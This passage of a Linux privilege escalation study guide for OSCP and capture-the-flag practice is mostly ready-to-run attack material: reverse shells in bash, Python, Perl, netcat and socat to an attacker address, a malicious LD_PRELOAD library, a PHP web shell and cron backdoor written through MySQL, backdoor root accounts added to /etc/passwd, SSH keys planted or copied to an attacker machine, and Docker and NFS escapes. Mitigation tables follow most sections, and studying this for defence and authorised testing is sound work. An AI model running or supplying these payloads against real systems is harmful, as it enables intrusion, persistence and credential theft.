Grant minimum capabilities needed |
| Audit regularly |
getcap -r / |
| Use AppArmor/SELinux |
Restrict what capable binaries can do |
| Noexec mount |
Prevent execution on sensitive mounts |
9. NFS Root Squashing
9.1 What Is NFS Root Squashing?
NFS (Network File System) allows mounting remote filesystems.
- Root squashing ON: Root on client maps to
nobody on server (secure)
- Root squashing OFF: Root on client stays root on server (insecure)
9.2 Enumerating NFS Shares
# Check mounted NFS shares
mount | grep nfs
df -h | grep nfs
cat /etc/fstab | grep nfs
# Check NFS exports on the server (if you have access)
cat /etc/exports
# Showmount from attacking machine
showmount -e <target_ip>
# Check NFS mount options
cat /proc/mounts | grep nfs
9.3 Exploiting No_ROOT_Squash
# Step 1: Check if no_root_squash is enabled
cat /etc/exports
# /shared 10.10.10.0/24(rw,sync,no_root_squash)
# Step 2: Mount the NFS share on your attacking machine
sudo mount -t nfs <target_ip>:/shared /mnt/nfs
# Step 3: Create a SUID binary on the NFS share
sudo cp /bin/bash /mnt/nfs/bash
sudo chmod +s /mnt/nfs/bash
# Step 4: On the target, run the SUID binary
/mnt/shared/bash -p
# You now have a root shell on the target
9.4 Alternative NFS Exploitation
# If you can't mount from attacker, try from the target itself
# Step 1: Check if the target mounts its own NFS share
mount | grep nfs
# Step 2: If no_root_squash, create a malicious file
echo 'malicious_user::0:0::/:/bin/bash' >> /mnt/nfs/etc/passwd
# Step 3: SSH in as malicious_user with no password
ssh malicious_user@<target_ip>
9.5 Mitigation
| Mitigation |
Description |
| Enable root_squashing |
Default behavior, always enable |
| Restrict NFS access |
Limit which IPs can mount |
| Use Kerberos auth |
NFSv4 with Kerberos |
| ReadOnly mounts |
Use ro flag when possible |
| All_squash |
Map all users to nobody |
10. Docker Container Escape
10.1 Docker Escape Overview
Docker containers share the host kernel. Misconfigurations allow escape.
graph TD
A[Inside Docker Container] --> B{Escape Vector?}
B -->|Docker Socket| C[Mount docker.sock]
B -->|Privileged Mode| D[--privileged flag]
B -->|Writable Host Mount| E[Mount host filesystem]
B -->|CAP_SYS_ADMIN| F[OverlayFS mount]
B -->|Kernel Exploit| G[Shared kernel vuln]
C --> H[Run new container as root on host]
D --> H
E --> I[Modify host files directly]
F --> H
G --> J[Root on host kernel]
10.2 Enumerating Docker Access
# Check if you're in a container
cat /proc/1/cgroup 2>/dev/null
cat /proc/1/environ 2>/dev/null
grep -i docker /proc/1/mountinfo 2>/dev/null
# Check for Docker socket
ls -la /var/run/docker.sock
# Check if docker command is available
which docker 2>/dev/null
docker ps 2>/dev/null
# Check for privileged mode
cat /proc/self/status | grep Seccomp
# Seccomp:0 means no seccomp (privileged)
# Check capabilities
cat /proc/self/status | grep Cap
# Check mounted filesystems
mount
df -h
10.3 Docker Socket Escape
# Step 1: Check if docker.sock is accessible
ls -la /var/run/docker.sock
# Step 2: Run a container with host filesystem mounted
docker run -v /:/host -it alpine chroot /host /bin/bash
# Step 3: You now have root access to the host
# Read /etc/shadow, add users, etc.
# Alternative: Use docker to exec into host
docker run --rm -v /:/host ubuntu bash -c 'chroot /host bash'
10.4 Privileged Container Escape
# Step 1: Check if container is privileged
cat /proc/self/status | grep Seccomp
# Seccomp:0 = privileged
# Step 2: Mount the host filesystem
mkdir /host
mount /dev/sda1 /host
# Step 3: Access host files
cat /host/etc/shadow
# Step 4: Chroot to host
chroot /host /bin/bash
10.5 Docker Escape via Writable Mount
# Step 1: Find a writable host mount
mount | grep /host
# /dev/sda1 on /host type ext4 (rw,relatime)
# Step 2: Write a malicious SSH key
echo 'ssh-rsa AAAAB3... your_key' > /host/root/.ssh/authorized_keys
# Step 3: SSH into the host as root
ssh -i ~/.ssh/id_rsa root@<host_ip>
10.6 Mitigation
| Mitigation |
Description |
| Don’t expose docker.sock |
Never mount docker.sock in containers |
| Avoid –privileged |
Use specific capabilities instead |
| Read-only mounts |
Use ro flag for volume mounts |
| Seccomp profiles |
Restrict syscalls |
| AppArmor/SELinux |
Apply security profiles |
| User namespaces |
Map container root to non-root host user |
| No new privileges |
Use --security-opt=no-new-privileges |
11. Environment Variable Manipulation
11.1 Why Environment Variables Matter
Environment variables can contain:
- Credentials (passwords, API keys, tokens)
- Configuration (database URLs, paths)
- Execution context (PATH, LD_PRELOAD)
11.2 Enumerating Environment Variables
# List all environment variables
env
printenv
# List all shell variables (includes env vars)
set
# Search for sensitive values
env | grep -iE 'pass|key|secret|token|api|db|database|mysql|postgres'
set | grep -iE 'pass|key|secret|token|api|db|database|mysql|postgres'
# Check specific variables
echo $PATH
echo $HOME
echo $USER
echo $SHELL
echo $LD_PRELOAD
echo $LD_LIBRARY_PATH
echo $PYTHONPATH
echo $RUBYLIB
# Check for database credentials
echo $DATABASE_URL
echo $MYSQL_PWD
echo $PGPASSWORD
# Check for API keys
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $API_KEY
11.3 PATH Hijacking
# Check current PATH
echo $PATH
# /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
# If a script uses a command without full path:
# /opt/backup.sh contains: tar czf /backup/backup.tar.gz /home/user/
# Create a malicious tar in a directory earlier in PATH
echo '#!/bin/bash' > /tmp/tar
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' >> /tmp/tar
chmod +x /tmp/tar
# Prepend /tmp to PATH
export PATH=/tmp:$PATH
# When backup.sh runs, it will use /tmp/tar instead of /bin/tar
11.4 PYTHONPATH Hijacking
# Check PYTHONPATH
echo $PYTHONPATH
# If a Python script imports a module:
# import requests
# Create a malicious requests.py
echo 'import os; os.system("/bin/bash")' > /tmp/requests.py
# Set PYTHONPATH to include /tmp
export PYTHONPATH=/tmp:$PYTHONPATH
# When the Python script runs, it imports your malicious module
11.5 Mitigation
| Mitigation |
Description |
| Use absolute paths |
Always use full paths in scripts |
| Restrict PATH |
Set explicit PATH in scripts |
| Don’t store secrets in env vars |
Use secret managers |
| Validate PYTHONPATH |
Set explicitly in Python scripts |
| env_reset in sudoers |
sudo resets environment by default |
12. LD_PRELOAD Hijacking
12.1 What Is LD_PRELOAD?
LD_PRELOAD forces the dynamic linker to load a shared library before all others.
- You can override standard library functions
- If a SUID binary doesn’t reset environment, you can hijack it
12.2 Checking LD_PRELOAD Viability
# Check if LD_PRELOAD is already set
echo $LD_PRELOAD
# Check if a SUID binary preserves environment
# Run the SUID binary and check if LD_PRELOAD works
LD_PRELOAD=/tmp/evil.so /path/to/suid_binary
# Check if the binary is dynamically linked
file /path/to/suid_binary
# If "dynamically linked", LD_PRELOAD may work
# Check which libraries the binary uses
ldd /path/to/suid_binary
12.3 LD_PRELOAD Exploitation
# Step 1: Create a malicious shared library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
system("/bin/bash -p");
}
EOF
# Step 2: Compile the shared library
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
# Step 3: Use LD_PRELOAD with the SUID binary
LD_PRELOAD=/tmp/evil.so /path/to/suid_binary
# You now have a root shell
12.4 Alternative LD_PRELOAD Payloads
// Override a specific function (e.g., geteuid)
#include <sys/types.h>
#include <unistd.h>
uid_t geteuid() {
return 0;
}
// Override printf to execute a command
#include <stdio.h>
int printf(const char *format, ...) {
system("/bin/bash -p");
return 0;
}
// Override fopen to redirect file access
#include <stdio.h>
FILE *fopen(const char *path, const char *mode) {
if (strcmp(path, "/etc/shadow") == 0) {
return fopen("/tmp/shadow_copy", "w");
}
return fopen(path, mode);
}
12.5 Mitigation
| Mitigation |
Description |
| Static linking |
Compile SUID binaries statically |
| env_reset |
Use env_reset in sudoers |
| Clear LD_PRELOAD |
SUID binaries should unset LD_PRELOAD |
| Noexec mount |
Mount with noexec flag |
| AppArmor/SELinux |
Restrict library loading |
13. Weak File Permissions
13.1 /etc/passwd and /etc/shadow
/etc/passwd Attack
# Check if /etc/passwd is writable
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd
# If writable, add a new root user
# Format: username:password:UID:GID:comment:home:shell
echo 'backdoor::0:0::/root:/bin/bash' >> /etc/passwd
# Login as backdoor with no password
su backdoor
/etc/shadow Attack
# Check if /etc/shadow is readable
ls -la /etc/shadow
# -rw-r--r-- 1 root shadow ... /etc/shadow
# If readable, copy and crack
cat /etc/shadow > /tmp/shadow
# Transfer to attacking machine
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow
# If writable, add a user with no password
echo 'backdoor::19000:0:99999:7:::' >> /etc/shadow
13.2 World-Writable Files
# Find world-writable files
find / -writable -type f 2>/dev/null | grep -v '/proc\|/sys\|/dev'
# Find world-writable directories
find / -writable -type d 2>/dev/null | grep -v '/proc\|/sys\|/dev'
# Find files you can write to
find / -user $(whoami) -writable -type f 2>/dev/null
# Check specific sensitive files
ls -la /etc/passwd
ls -la /etc/shadow
ls -la /etc/sudoers
ls -la /etc/crontab
ls -la /etc/ssh/sshd_config
13.3 SSH Key Abuse
# Find SSH private keys
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
# Check permissions on SSH keys
find / -name "id_*" -exec ls -la {} \; 2>/dev/null
# If you find a readable private key
cat /home/user/.ssh/id_rsa
# Copy to attacking machine and use
scp /home/user/.ssh/id_rsa attacker@10.10.14.1:/tmp/
ssh -i /tmp/id_rsa user@<target_ip>
# Check authorized_keys
cat ~/.ssh/authorized_keys 2>/dev/null
cat /root/.ssh/authorized_keys 2>/dev/null
# If authorized_keys is writable, add your public key
echo 'ssh-rsa AAAAB3... your_key' >> /home/user/.ssh/authorized_keys
13.4 Weak File Permissions Decision Tree
graph TD
A[Found Writable File] --> B{Which file?}
B -->|/etc/passwd| C[Add new root user]
B -->|/etc/shadow| D[Crack hashes or add user]
B -->|SSH key| E[Use key to SSH in]
B -->|authorized_keys| F[Add your public key]
B -->|Cron job| G[Modify cron for reverse shell]
B -->|Sudoers| H[Add sudo rule for yourself]
B -->|Script| I[Inject malicious code]
B -->|Config file| J[Modify for privesc]
13.5 Mitigation
| Mitigation |
Description |
| Correct permissions |
chmod 644 /etc/passwd, chmod 640 /etc/shadow |
| Restrict SSH keys |
chmod 600 ~/.ssh/id_rsa |
| Restrict authorized_keys |
chmod 600 ~/.ssh/authorized_keys |
| Regular audit |
Check for world-writable files |
| Use ACLs |
Fine-grained access control |
14. Symbolic Link Attacks
14.1 What Are Symlink Attacks?
A symbolic link (symlink) points to another file. If a privileged process writes to a predictable path, you can redirect it.
14.2 Finding Symlink Opportunities
# Find all symlinks
find / -type l 2>/dev/null
# Find symlinks in sensitive directories
find /etc -type l 2>/dev/null
find /tmp -type l 2>/dev/null
find /var -type l 2>/dev/null
# Check where symlinks point
ls -la /tmp/* 2>/dev/null
readlink /path/to/symlink
14.3 Symlink Attack Exploitation
# Scenario: A root cron job writes to /tmp/backup.log
# * * * * * root echo "backup complete" > /tmp/backup.log
# Step 1: Create a symlink to a sensitive file
ln -sf /etc/passwd /tmp/backup.log
# Step 2: When the cron job runs, it writes to /etc/passwd instead
# The content "backup complete" is written to /etc/passwd
# More useful: Symlink to /etc/crontab
ln -sf /etc/crontab /tmp/backup.log
# Then the cron job overwrites /etc/crontab
# Or symlink to authorized_keys
ln -sf /root/.ssh/authorized_keys /tmp/backup.log
echo 'ssh-rsa AAAAB3... your_key' > /tmp/backup.log
# When cron writes, it appends your key to root's authorized_keys
14.4 Race Condition Symlink Attacks
# Some programs create temp files with predictable names
# /tmp/file_XXXXXX
# Use a race condition to replace the temp file with a symlink
while true; do
rm -f /tmp/target_file
ln -sf /etc/passwd /tmp/target_file
done
# When the privileged process creates /tmp/target_file,
# it may hit your symlink instead
14.5 Mitigation
| Mitigation |
Description |
Use O_NOFOLLOW |
Open files with no symlink following |
Use mkstemp() |
Create temp files securely |
| Check symlinks |
Verify no symlinks before writing |
Use noexec mount |
Prevent execution in /tmp |
| Sticky bit on /tmp |
Prevent deletion of others’ files |
15. Bash Shell Escape Techniques
15.1 Shell Escape Overview
Many programs allow escaping to a shell. This can lead to privesc if the program runs with elevated privileges.
15.2 Common Shell Escapes
| Program |
Escape Command |
vim / vi |
:!/bin/sh or :shell |
less |
! /bin/sh |
more |
! /bin/sh |
man |
!sh (at the ! prompt) |
awk |
BEGIN {system("/bin/sh")} |
find |
find . -exec /bin/sh \; |
nmap |
--interactive then !sh |
python |
import os; os.system("/bin/sh") |
perl |
exec "/bin/sh" |
ruby |
exec "/bin/sh" |
lua |
os.execute("/bin/sh") |
php |
system("/bin/sh") |
node |
require("child_process").exec("/bin/sh") |
git |
git help config → !sh |
tar |
--checkpoint-action=exec=/bin/sh |
zip |
-T -TT /bin/sh# |
ftp |
! /bin/sh |
mysql |
\! /bin/sh |
sqlite3 |
.shell /bin/sh |
pdb |
import os; os.system("/bin/sh") |
journalctl |
! /bin/sh |
strings |
No escape (but useful for analysis) |
env |
env /bin/sh |
dash |
dash -p |
zsh |
zsh -p |
15.3 Restricted Shell Escape
# If you get a restricted shell (rbash):
# Method 1: Use Python
python3 -c 'import os; os.execl("/bin/sh", "sh")'
# Method 2: Use Perl
perl -e 'exec "/bin/sh";'
# Method 3: Use Vim
vim -c ':!/bin/sh'
# Method 4: Use SSH
ssh user@localhost
# Method 5: Use env
env /bin/sh
# Method 6: Use bash
bash -c '/bin/sh'
# Method 7: Set PATH and use a command
PATH=$PATH:/bin:/usr/bin
export PATH
/bin/sh
15.4 Mitigation
| Mitigation |
Description |
| Use restricted shells |
rbash for limited users |
| Remove escape-capable programs |
Don’t install vim, less, etc. for service accounts |
| Use chroot |
Isolate users in a chroot jail |
| Use containers |
Docker for isolation |
| AppArmor/SELinux |
Restrict program capabilities |
16. TMUX/Screen Escape
16.1 What Are TMUX and Screen?
TMUX and Screen are terminal multiplexers. They allow multiple terminal sessions in one window.
16.2 Checking for TMUX/Screen
# Check if running inside tmux
echo $TMUX
echo $TMUX_PANE
tmux list-sessions 2>/dev/null
# Check if running inside screen
echo $STY
screen -ls 2>/dev/null
# Check for tmux/screen binaries
which tmux 2>/dev/null
which screen 2>/dev/null
16.3 TMUX Escape
# If you can run tmux commands as a privileged user:
# Step 1: Check tmux version
tmux -V
# Step 2: If tmux is SUID or runs as root
# Escape using shell command
tmux send-keys -t <session> 'C-c'
tmux run-shell '/bin/bash'
# Step 3: If you can attach to a root tmux session
tmux attach -t <root_session>
16.4 Screen Escape
# If you can run screen commands as a privileged user:
# Step 1: Check screen version
screen -v
# Step 2: Escape using shell command
screen -X quit
screen -dmS backdoor /bin/bash
# Step 3: If you can attach to a root screen session
screen -r <root_session>
16.5 Mitigation
| Mitigation |
Description |
| Remove SUID from tmux/screen |
chmod u-s /usr/bin/tmux |
| Restrict access |
Only allow trusted users |
| Use tmux config |
Restrict commands in .tmux.conf |
| Monitor sessions |
Log tmux/screen usage |
17. MySQL UDF Plugin Exploitation
17.1 What Is MySQL UDF?
User-Defined Functions (UDF) allow extending MySQL with custom C functions.
- If you can write to the plugin directory, you can load a malicious UDF
- The UDF runs with the privileges of the MySQL process (often root)
17.2 Enumerating MySQL Access
# Check if MySQL is running
ps aux | grep mysql
ss -tulpn | grep 3306
# Check if you can connect
mysql -u root -p
mysql -u root
mysql -u <user> -p<password>
# Check MySQL version
mysql -V
mysql -e "SELECT VERSION();"
# Check plugin directory
mysql -e "SHOW VARIABLES LIKE 'plugin_dir';"
# Check if you can write to plugin directory
mysql -e "SELECT @@plugin_dir;"
ls -la /usr/lib/mysql/plugin/ 2>/dev/null
# Check your MySQL privileges
mysql -e "SHOW GRANTS FOR CURRENT_USER();"
17.3 UDF Exploitation
# Step 1: Check plugin directory
mysql -e "SELECT @@plugin_dir;"
# +----------------------------------+
# | /usr/lib/mysql/plugin/ |
# +----------------------------------+
# Step 2: Check if you can write to it
ls -la /usr/lib/mysql/plugin/
# If writable, proceed
# Step 3: Create a UDF shared library
# Use the lib_mysqludf_sys project
# https://github.com/mysqludf/lib_mysqludf_sys
# Compile the UDF
gcc -Wall -fPIC -shared -o /usr/lib/mysql/plugin/sys.so sys.c -ldl
# Step 4: Create the UDF in MySQL
mysql -u root -p
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'sys.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'sys.so';
# Step 5: Execute commands
SELECT sys_exec('id');
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"');
SELECT sys_eval('whoami');
17.4 Alternative: Write File Exploit
# If you have FILE privilege:
# Step 1: Check privileges
SHOW GRANTS FOR CURRENT_USER();
# GRANT FILE ON *.* TO 'user'@'localhost'
# Step 2: Write a malicious file
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
# Step 3: Access the web shell
curl http://<target>/shell.php?cmd=id
# Or write to /etc/cron.d/
SELECT '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' INTO OUTFILE '/etc/cron.d/backdoor';
17.5 Mitigation
| Mitigation |
Description |
| Restrict plugin directory |
chmod 755 /usr/lib/mysql/plugin/ |
| Run MySQL as non-root |
Use dedicated mysql user |
| Restrict FILE privilege |
Don’t grant FILE to app users |
| Disable UDF |
Don’t allow CREATE FUNCTION |
| Use AppArmor |
Restrict MySQL file access |
18. Wildcard Injection in Scripts
18.1 What Is Wildcard Injection?
When scripts use * with commands like cp, tar, rsync, the shell expands the wildcard. You can inject malicious filenames.
18.2 Finding Wildcard Usage
# Search for wildcard usage in scripts
grep -r '\*' /etc/cron* 2>/dev/null
grep -r '\*' /opt/*.sh 2>/dev/null
grep -r '\*' /usr/local/bin/*.sh 2>/dev/null
# Search for specific commands with wildcards
grep -rE 'cp .*\*|tar .*\*|rsync .*\*' /etc/cron* 2>/dev/null
grep -rE 'cp .*\*|tar .*\*|rsync .*\*' /opt/*.sh 2>/dev/null
18.3 Exploitation by Command
cp Wildcard Injection
# Vulnerable command: cp /home/user/* /backup/
# Create malicious files
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/bash -c "cp /bin/bash /tmp/bash; chmod +s /tmp/bash"'
# When cp runs, it becomes:
# cp /home/user/file1 /home/user/--checkpoint=1 /home/user/--checkpoint-action=exec=/bin/bash... /backup/
tar Wildcard Injection
# Vulnerable command: tar czf /backup/backup.tar.gz /home/user/*
# Create malicious files
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"'
# When tar runs, it executes the checkpoint action
rsync Wildcard Injection
# Vulnerable command: rsync -a /home/user/* /backup/
# Create malicious files
touch '/home/user/-e'
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' > /home/user/-e
chmod +x /home/user/-e
# When rsync runs, it becomes:
# rsync -a /home/user/file1 /home/user/-e /backup/
# rsync interprets -e as the remote shell option
18.4 Mitigation
| Mitigation |
Description |
| Use explicit file lists |
Don’t use wildcards in scripts |
| Quote variables |
Use "$var" instead of $var |
| Use find with -exec |
find /home/user/ -type f -exec cp {} /backup/ \; |
| Validate filenames |
Check for option-like filenames |
| Use – with commands |
cp -- /home/user/* /backup/ stops option parsing |
19. Linux Enumeration Scripts
19.1 LinPEAS
LinPEAS (Linux Privilege Escalation Awesome Script) is the most comprehensive enumeration tool.
# Download LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
# Run LinPEAS
./linpeas.sh
# Run with filters
./linpeas.sh -h # Help
./linpeas.sh -a # All checks (slow)
./linpeas.sh -e /tmp/ # Export results to directory
# Pipe to grep for specific findings
./linpeas.sh 2>/dev/null | grep -iE 'suid|sudo|writable|cron|docker'
# Upload to target and run
python3 -m http.server 80
# On target:
wget http://10.10.14.1/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
LinPEAS Output Sections
| Section |
What It Checks |
| System |
Kernel, OS, architecture |
| Users |
Current user, groups, sudo |
| SUID/SGID |
All SUID/SGID binaries |
| Capabilities |
Files with Linux capabilities |
| Cron |
All cron jobs and permissions |
| Environment |
Environment variables |
| Network |
Network config, listening ports |
| Processes |
Running processes |
| Files |
Writable files, SSH keys |
| Interesting files |
Config files, history files |
| Docker |
Docker socket, containers |
| Kernel exploits |
Potential kernel exploits |
19.2 LinEnum
LinEnum is a classic enumeration script.
# Download LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
# Run LinEnum
./LinEnum.sh
# With options
./LinEnum.sh -h # Help
./LinEnum.sh -k keyword # Search for keyword
./LinEnum.sh -d depth # Find depth
./LinEnum.sh -r report # Output report name
./LinEnum.sh -t # Include thorough tests
./LinEnum.sh -c commands # Comma-separated commands to check
./LinEnum.sh -p quick # Quick mode commands
19.3 Linux Smart Enumeration (lse)
Linux Smart Enumeration is a modern, fast enumeration tool.
# Download lse
wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh
chmod +x lse.sh
# Run lse
./lse.sh
# With options
./lse.sh -h # Help
./lse.sh -A # All checks
./lse.sh -U # User info
./lse.sh -S # SUID/SGID
./lse.sh -C # Cron jobs
./lse.sh -N # Network
./lse.sh -F # Filesystem
./lse.sh -P # Processes
./lse.sh -E # Environment
./lse.sh -K # Kernel exploits
./lse.sh -D # Docker
./lse.sh -u # Uncommon checks
| Tool |
Description |
Link |
| LinPEAS |
Most comprehensive |
github.com/carlospolop/PEASS-ng |
| LinEnum |
Classic, reliable |
github.com/rebootuser/LinEnum |
| lse |
Fast, modern |
github.com/diego-treitos/linux-smart-enumeration |
| linuxprivchecker |
Python-based |
github.com/sleventyeleven/linuxprivchecker |
| pspy |
Process monitoring |
github.com/DominicBreuker/pspy |
| weakpass |
Password checking |
github.com/carlospolop/weakpass |
| unix-privesc-check |
OpenVAS tool |
github.com/Sekurak/unix-privesc-check |
19.5 pspy — Process Monitoring
# pspy monitors processes without root privileges
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64
# Run pspy
./pspy64
# With options
./pspy64 -h # Help
./pspy64 -p # Monitor processes
./pspy64 -e # Monitor executions
./pspy64 -p -e # Monitor both
./pspy64 -i 1000 # Update interval (ms)
./pspy64 -f user # Filter by user
./pspy64 -f cmd # Filter by command
# Useful for finding cron jobs and scheduled tasks
./pspy64 -p -e -f root
19.6 Enumeration Script Comparison
| Feature |
LinPEAS |
LinEnum |
lse |
| Comprehensiveness |
Excellent |
Good |
Good |
| Speed |
Medium |
Slow |
Fast |
| Kernel exploit detection |
Yes |
No |
Yes |
| Docker detection |
Yes |
No |
Yes |
| SUID detection |
Yes |
Yes |
Yes |
| Cron detection |
Yes |
Yes |
Yes |
| Color output |
Yes |
No |
Yes |
| Export results |
Yes |
Yes |
No |
| Size |
~2MB |
~50KB |
~100KB |
20. CTF-Style Privesc Challenges
20.1 Common OSCP Privesc Scenarios
| Scenario |
Technique |
Difficulty |
| SUID binary (find, vim, nmap) |
GTFOBins |
Easy |
| Sudo NOPASSWD (vim, python) |
Sudo abuse |
Easy |
| Writable cron job |
Cron modification |
Easy |
| World-writable /etc/passwd |
Add root user |
Easy |
| Readable /etc/shadow |
Crack password |
Easy |
| SSH key in home directory |
SSH as another user |
Easy |
| SUID custom binary |
PATH hijacking |
Medium |
| Sudo with wildcard |
Command injection |
Medium |
| Wildcard in cron job |
Wildcard injection |
Medium |
| Docker socket access |
Container escape |
Medium |
| NFS no_root_squash |
NFS privesc |
Medium |
| LD_PRELOAD with SUID |
Library injection |
Medium |
| Kernel exploit |
Kernel vulnerability |
Hard |
| Capability abuse |
Linux capabilities |
Hard |
| MySQL UDF |
Plugin exploitation |
Hard |
20.2 Practice Machines
| Machine |
Platform |
Privesc Technique |
| HackTheBox: Beep |
Linux |
SUID binary |
| HackTheBox: DevOps |
Linux |
Docker escape |
| HackTheBox: Networked |
Linux |
Sudo misconfiguration |
| HackTheBox: Archetype |
Linux |
Kernel exploit |
| HackTheBox: Trace |
Linux |
SUID + environment |
| HackTheBox: OpenAdmin |
Linux |
Sudo + cron |
| TryHackMe: Privesc 1 |
Linux |
Multiple techniques |
| TryHackMe: Linux PrivEsc |
Linux |
Comprehensive |
| VulnHub: Mr. Robot |
Linux |
Multiple vectors |
| VulnHub: Hackable |
Linux |
SUID + cron |
20.3 OSCP Exam Privesc Tips
- Always run LinPEAS first — it finds most common vectors
- Check
sudo -l early — sudo misconfigs are common
- Check SUID binaries —
find / -perm -4000
- Check cron jobs —
crontab -l and /etc/cron*
- Check for writable files — especially
/etc/passwd
- Check for SSH keys —
find / -name "id_rsa"
- Check environment variables —
env | grep -i pass
- Check bash history —
cat ~/.bash_history
- Check for Docker —
ls -la /var/run/docker.sock
- Check kernel version —
uname -a for exploits
20.4 Privesc Methodology
graph TD
A[Gain Initial Access] --> B[Stabilize Shell]
B --> C[Run LinPEAS]
C --> D{Quick Wins?}
D -->|Yes| E[Exploit and escalate]
D -->|No| F[Manual Enumeration]
F --> G[Check sudo -l]
G --> H[Check SUID binaries]
H --> I[Check cron jobs]
I --> J[Check writable files]
J --> K[Check SSH keys]
K --> L[Check environment]
L --> M[Check Docker/NFS]
M --> N{Vector found?}
N -->|Yes| E
N -->|No| O[Check kernel exploits]
O --> P{Exploit available?}
P -->|Yes| E
P -->|No| Q[Pivot to other hosts]
Q --> R[Return with new access]
21. Quick-Reference Cheat Sheet
21.1 One-Liner Enumeration
# Quick privesc check
whoami && id && uname -a && sudo -l 2>/dev/null && find / -perm -4000 -type f 2>/dev/null && crontab -l 2>/dev/null && cat /etc/crontab 2>/dev/null && find / -writable -type f 2>/dev/null | grep -v '/proc\|/sys\|/dev' && ls -la /var/run/docker.sock 2>/dev/null && find / -name "id_rsa" 2>/dev/null && env | grep -iE 'pass|key|secret' && cat ~/.bash_history 2>/dev/null
21.2 Common Reverse Shells
# Bash
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Perl
perl -e 'use Socket;$i="10.10.14.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Netcat
nc -e /bin/sh 10.10.14.1 4444
# Socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.1:4444
21.3 Shell Upgrades
# Method 1: Python pty
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Method 2: Script
script -qc /bin/bash /dev/null
# Method 3: Perl
perl -e 'exec "/bin/bash";'
# Method 4: Background + stty
# In the shell: Ctrl+Z
# On attacker:
stty raw -echo
fg
# In the shell:
reset
export TERM=xterm-256color
stty rows <rows> cols <cols>
21.4 File Transfer Methods
# From target to attacker
# On attacker: nc -lvnp 4444 > file
# On target: nc 10.10.14.1 4444 < file
# From attacker to target
# On attacker: python3 -m http.server 80
# On target: wget http://10.10.14.1/file
# Using curl
curl http://10.10.14.1/file -o file
# Using scp
scp user@10.10.14.1:/path/to/file .
# Using base64
# On attacker: base64 file | nc -lvnp 4444
# On target: nc 10.10.14.1 4444 | base64 -d > file
21.5 SUID Binary Quick Reference
| Binary |
Command |
find |
find . -exec /bin/sh -p \; -quit |
vim |
:!/bin/sh |
nmap |
--interactive → !sh |
python3 |
import os; os.execl("/bin/sh","sh","-p") |
bash |
bash -p |
less |
!/bin/sh |
more |
!/bin/sh |
man |
!sh |
awk |
BEGIN {system("/bin/sh")} |
perl |
exec "/bin/sh" |
ruby |
exec "/bin/sh" |
git |
git -p help → !sh |
tar |
--checkpoint=1 --checkpoint-action=exec=/bin/sh |
nano |
Ctrl+R → Ctrl+6 → /bin/sh |
env |
env /bin/sh -p |
docker |
docker run -v /:/host alpine chroot /host sh |
21.6 Sudo Quick Reference
| Command |
Exploitation |
sudo vim |
:!/bin/sh |
sudo find |
sudo find . -exec /bin/sh \; -quit |
sudo python3 |
sudo python3 -c 'import os; os.system("/bin/sh")' |
sudo bash |
Direct root shell |
sudo less |
!/bin/sh |
sudo man |
!sh |
sudo nmap |
--interactive → !sh |
sudo tar |
--checkpoint-action=exec=/bin/sh |
sudo awk |
BEGIN {system("/bin/sh")} |
sudo perl |
exec "/bin/sh" |
sudo docker |
docker run -v /:/host alpine chroot /host sh |
sudo env |
sudo env /bin/sh |
sudo cp |
sudo cp /bin/sh /tmp/sh; chmod +s /tmp/sh |
Appendix A: Linux File Permission Reference
A.1 Permission Bits
| Bit |
Value |
Meaning |
r |
4 |
Read |
w |
2 |
Write |
x |
1 |
Execute |
s |
4000/2000 |
SUID/SGID |
t |
1000 |
Sticky bit |
A.2 Common Permission Combinations
| Octal |
Symbolic |
Meaning |
| 755 |
rwxr-xr-x |
Owner full, others read+exec |
| 700 |
rwx—— |
Owner full only |
| 644 |
rw-r–r– |
Owner read+write, others read |
| 600 |
rw—–– |
Owner read+write only |
| 400 |
r–––– |
Owner read only |
| 640 |
rw-r—– |
Owner read+write, group read |
| 777 |
rwxrwxrwx |
Everyone full (dangerous!) |
| 2777 |
rwxrwsrwt |
World-writable with sticky (/tmp) |
Appendix B: Useful Resources
End of Linux Privilege Escalation Study Guide